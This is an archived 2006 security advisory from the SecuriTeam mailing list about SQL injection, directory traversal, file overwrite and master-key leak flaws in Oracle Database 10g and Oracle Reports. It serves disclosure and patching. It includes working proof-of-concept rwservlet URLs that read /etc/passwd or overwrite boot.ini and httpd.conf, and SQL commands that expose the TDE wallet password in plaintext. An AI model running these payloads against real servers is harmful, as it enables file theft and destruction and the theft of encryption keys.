

[NEWS] Oracle Database and Report Engine Multiple Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00076.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 19 Jan 2006 16:44:36 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Oracle Database and Report Engine Multiple Vulnerabilities

SUMMARY

Lack of proper input validation in Oracle Database and Report engine allows attackers to cause SQL injection, directory traversal, gather authentication information and overwrite arbitrary files.

DETAILS

Vulnerable Systems:

- * Oracle 10g Release 1
- * Oracle Database 10g Release 2
- * Internet Application Server
- * Oracle Application Server
- * Oracle Developer Suite

SQL Injection:

The package SYS.KUPV\$FT contains 3 SQL injection vulnerabilities in the functions ATTACH_JOB, OPEN_JOB, HAS_PRIVS. Oracle fixed these vulnerabilities with the package dbms_assert.

KUPV\$FT ATTACH_JOB Parameter user_name and job_name vulnerable against SQL Injection

[NEWS] Oracle Database and Report Engine Multiple Vulnerabilities

KUPV\$FT HAS_PRIVS Parameter linkname vulnerable against SQL Injection
KUPV\$FT OPEN_JOB Parameter user_name, job_name, operation, job_mode
vulnerable against SQL Injection

SQL Injection:

The package SYS.KUPV\$FT_INT contains 16 SQL injection vulnerabilities in the functions UPDATE_JOB, ACTIVE_JOB, ATTACH_POSSIBLE, ATTACH_TO_JOB, CREATE_NEW_JOB, DELETE_JOB, DELETE_MASTER_TABLE, DETACH_JOB, GET_JOB_INFO, GET_JOB_QUEUES, GET_SOLE_JOBNAME, MASTER_TBL_LOCK, VALID_HANDLE. Oracle is now using bind variables to fix these vulnerabilities.

KUPV\$FT_INT UPDATE_JOB Parameter user_name, job_name vulnerable against SQL Injection
KUPV\$FT_INT ACTIVE_JOB Parameter user_name, job_name vulnerable against SQL Injection
KUPV\$FT_INT ATTACH_POSSIBLE Parameter user_name, job_name vulnerable against SQL Injection
KUPV\$FT_INT ATTACH_TO_JOB Parameter jobid vulnerable against SQL Injection
KUPV\$FT_INT CREATE_NEW_JOB Parameter user_name, job_name vulnerable against SQL Injection
KUPV\$FT_INT DELETE_JOB Parameter user_name, job_name vulnerable against SQL Injection
KUPV\$FT_INT DELETE_MASTER_TABLE Parameter user_name, job_name vulnerable against SQL Injection
KUPV\$FT_INT DETACH_JOB Parameter handle vulnerable against SQL Injection
KUPV\$FT_INT GET_JOB_INFO Parameter handle, job_id vulnerable against SQL Injection
KUPV\$FT_INT GET_JOB_INFO (2nd function) Parameter user_name, job_name vulnerable against SQL Injection
KUPV\$FT_INT GET_JOB_QUEUES Parameter handle, job_id vulnerable against SQL Injection
KUPV\$FT_INT GET_JOB_QUEUES (2nd function) Parameter user_name, job_name vulnerable against SQL Injection
KUPV\$FT_INT GET_SOLE_JOBNAME Parameter user_name is vulnerable against SQL Injection
KUPV\$FT_INT MASTER_TBL_LOCK Parameter user_name, job_name, master_objid vulnerable against SQL Injection
KUPV\$FT_INT SET_EVENT Parameter event_number, level vulnerable against SQL Injection
KUPV\$FT_INT VALID_HANDLE Parameter handle vulnerable against SQL Injection

Information Disclosure:

The Oracle security feature "Transparent Data Encryption" is storing the masterkey unencrypted in the SGA. A skilled attacker or non-security DBA can retrieve the plaintext masterkey.

Example:

```
SQL> ALTER SYSTEM SET WALLET OPEN IDENTIFIED BY "secretpassword";
```

[NEWS] Oracle Database and Report Engine Multiple Vulnerabilities

System altered.

```
SQL> exit
```

Disconnected from Oracle Database 10g Enterprise Edition Release
10.2.0.1.0 Production With the Partitioning, OLAP and Data Mining options

```
[oracle@ora10201 /]$ export DUMP_SGA_DIR=/oracle/10.2.0/bin
```

```
[oracle@ora10201 /]$ cd /tmp
```

```
[oracle@ora10201 /]$ dumpsga
```

```
[oracle@ora10201 /]$ strings * | grep -iH secretpassword
```

```
secretpassword  
secretpassword  
secretpassword
```

[] Excerpt from the SGA

```
/oracle/10.2.0/admin/ora01/wallet/^[q^@^@  
d$d$^@?y*cle/10.2.0/admin/ora10201/wallet/^^@^^@^^@^^@^9^@^@0 d$d d$-
```

```
^^@^@0 d$L4^L ^Xp / ]/ <8f>^Dsecretpassword^@^M^U^B^@ d$  
4^Lfile:/oracle/10.2.0/admin/ora10201/wallet
```

[]

Directory Traversal:

Oracle Reports is Oracle's award-winning, high-fidelity enterprise reporting tool.

It enables businesses to give immediate access to information to all levels within and outside of the organization in an unrivaled scalable and secure environment. Oracle Reports, a component of the Oracle Application Server, is used by Oracle itself for the E-Business Suite. Many large customers are using Oracle Reports as reporting tool for their enterprise applications.

The Oracle Reports parameter customize can read any file by using an absolute or relative file name.

Parts of the file content are displayed in the Reports error message.

Example:

```
http://myserver:7778/reports/rwservlet?server=myserver report=test.rdf  
userid=scott/tiger@iasdb destype=cache desformat=xml  
CUSTOMIZE=/opt/ORACLE/ias/oracle/product/9.0.2/webcache/webcache.xml
```

Reports Output

```
REP---866648059: Error in the XML report definition at line 3 in 'Element  
'CALYPSO' used but not declared.'
```

[NEWS] Oracle Database and Report Engine Multiple Vulnerabilities

Reports Output

File Overwrite:

By specifying a special value for the parameter desname Oracle Reports can overwrite any file on the application server.

On Windows systems an attacker can overwrite any files (e.g. boot.ini) on the application server.

On UNIX system an attacker can overwrite all files (e.g. opmn.xml) which belongs to the Oracle Application Server user.

This attack can be done with a simple URL.

Proof of Concept:

Overwrite the boot.ini with the ../-syntax with PDF output (on a Windows system)

```
http://myserver.com:7779/reports/rwservlet?server=repsserv  
userid=scott/tiger@iasdb report=anyreport.rdf destype=file desformat=PDF  
desname=../..../boot.ini
```

Overwrite the boot.ini via an absolute path with PDF output (on a Windows system)

```
http://myserver.com:7779/reports/rwservlet?server=repsserv  
userid=scott/tiger@iasdb report=anyreport.rdf destype=file desformat=PDF  
desname=c:\boot.ini
```

Overwrite the file httpd.conf with PDF output (on a UNIX system)

```
http://myserver.com:7779/reports/rwservlet?server=repsserv myconn  
report=anyreport.rdf destype=file desformat=PDF  
desname=/oracle/iasapp/Apache/Apache/conf/httpd.conf
```

Overwrite any report (or form) with PDF output (on a UNIX system)

```
http://myserver.com:7779/reports/rwservlet?server=repsserv myconn  
report=anyreport.rdf destype=file desformat=PDF  
desname=/oracle/iasapp/reports/anyreport.rdf
```

Directory Traversal:

The Oracle Reports parameter desformat can read any file by using an absolute or relative file name.

Parts of the file content are displayed in the Reports error message.

The DESFORMAT parameter specifies the format for the job output. In bit-mapped environments, use DESFORMAT to specify the printer driver to be used when DESTYPE is FILE.

In character-mode environments, use it to specify the characteristics of the printer named in DESNAME.

Proof of Concept:

```
http://myserver:7778/reports/rwservlet?server=myserver report=test.rdf  
userid=scott/tiger@iasdb destype=file MODE=CHARACTER desformat=/etc/passwd
```

[NEWS] Oracle Database and Report Engine Multiple Vulnerabilities

Reports Output

REP-3002: Error in column 5 of line 1 of printer definition file
/etc/passwd:Unknown keyword "root".
REP-3002: Error initializing printer. Please make sure a printer is
installed.

Reports Output

Information Disclosure:

The event 10053 is storing the masterkey of Oracle Transparent Data
Encryption unencrypted in a trace-file. A skilled attacker or non-security
DBA could set this special event to get the plaintext masterkey for the
TDE encryption.

Proof of Concept:

```
SQL> alter session set events='10053 trace name context forever, level  
SQL> 1';
```

Session altered.

```
SQL> ALTER SYSTEM SET WALLET OPEN IDENTIFIED BY "secretpassword";
```

Information Disclosure:

The event 10053 is storing the masterkey of Oracle Transparent Data
Encryption unencrypted in a trace-file. A skilled attacker or non-security
DBA could set this special event to get the plaintext masterkey for the
TDE encryption.

Proof of Concept:

```
SQL> alter session set events='10053 trace name context forever, level  
1';
```

Session altered.

```
SQL> ALTER SYSTEM SET WALLET OPEN IDENTIFIED BY "secretpassword";
```

System altered.

CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2371>>

CAN-2005-2371

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2378>>

CAN-2005-2378

Disclosure Timeline:

12-aug-2003 Oracle secalert was informed

26-aug-2003 Oracle secalert was informed about Read parts of files via
customize

27-aug-2003 The Read parts of files via customize bug confirmed

[NEWS] Oracle Database and Report Engine Multiple Vulnerabilities

27-aug-2003 Oracle secalert was informed
27-aug-2003 Bug confirmed
26-sep-2003 Bug confirmed
15-apr-2005 Red-Database-Security informed Oracle secalert that this vulnerability will publish after CPU July 2005 Red-Database-Security offered Oracle more time if it is not possible to provide a fix ==> NO FEEDBACK.
11-jul-2005 Oracle secalert was informed
12-jul-2005 Bug confirmed
12-jul-2005 Oracle published CPU July 2005 without fixing the issues
18-jul-2005 Red-Database-Security published this advisory
21-jul-2005 Cert VU# and affected products added
25-aug-2005 CVE number added
16-sep-2005 Workaround was incomplete and is now correct (Thanks to D. Nachbar for this information)
01-nov-2005 Oracle secalert was informed about the two SQL injections
02-nov-2005 Oracle secalert asked for an exploit for SQL Injections
13-jan-2005 days since initial report updated
11-jul-2005 Oracle secalert was informed
12-jul-2005 Bug confirmed
18-jul-2005 Red-Database-Security published this advisory
17-jan-2006 Oracle published CPU January 2006
17-jan-2006 Advisory published
17-jan-2006 Oracle published the Critical Patch Update January 2006 (CPU January 2006)

ADDITIONAL INFORMATION

The information has been provided by
<<mailto:ak@xxxxxxxxxxxxxxxxxxxxxxxxxxxxx>> Kornbrust, Alexander.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- Prev by Date: [*\[NEWS\] Blogger.com HTTP Response Splitting Vulnerability*](#)
- Next by Date: [*\[EXPL\] Microsoft Windows WMF Buffer Overflow \(Exploit Metasploit\)*](#)
- Previous by thread: [*\[NEWS\] Blogger.com HTTP Response Splitting Vulnerability*](#)
- Next by thread: [*\[EXPL\] Microsoft Windows WMF Buffer Overflow \(Exploit Metasploit\)*](#)
- Index(es):
 - ◆ [*Date*](#)
 - ◆ [*Thread*](#)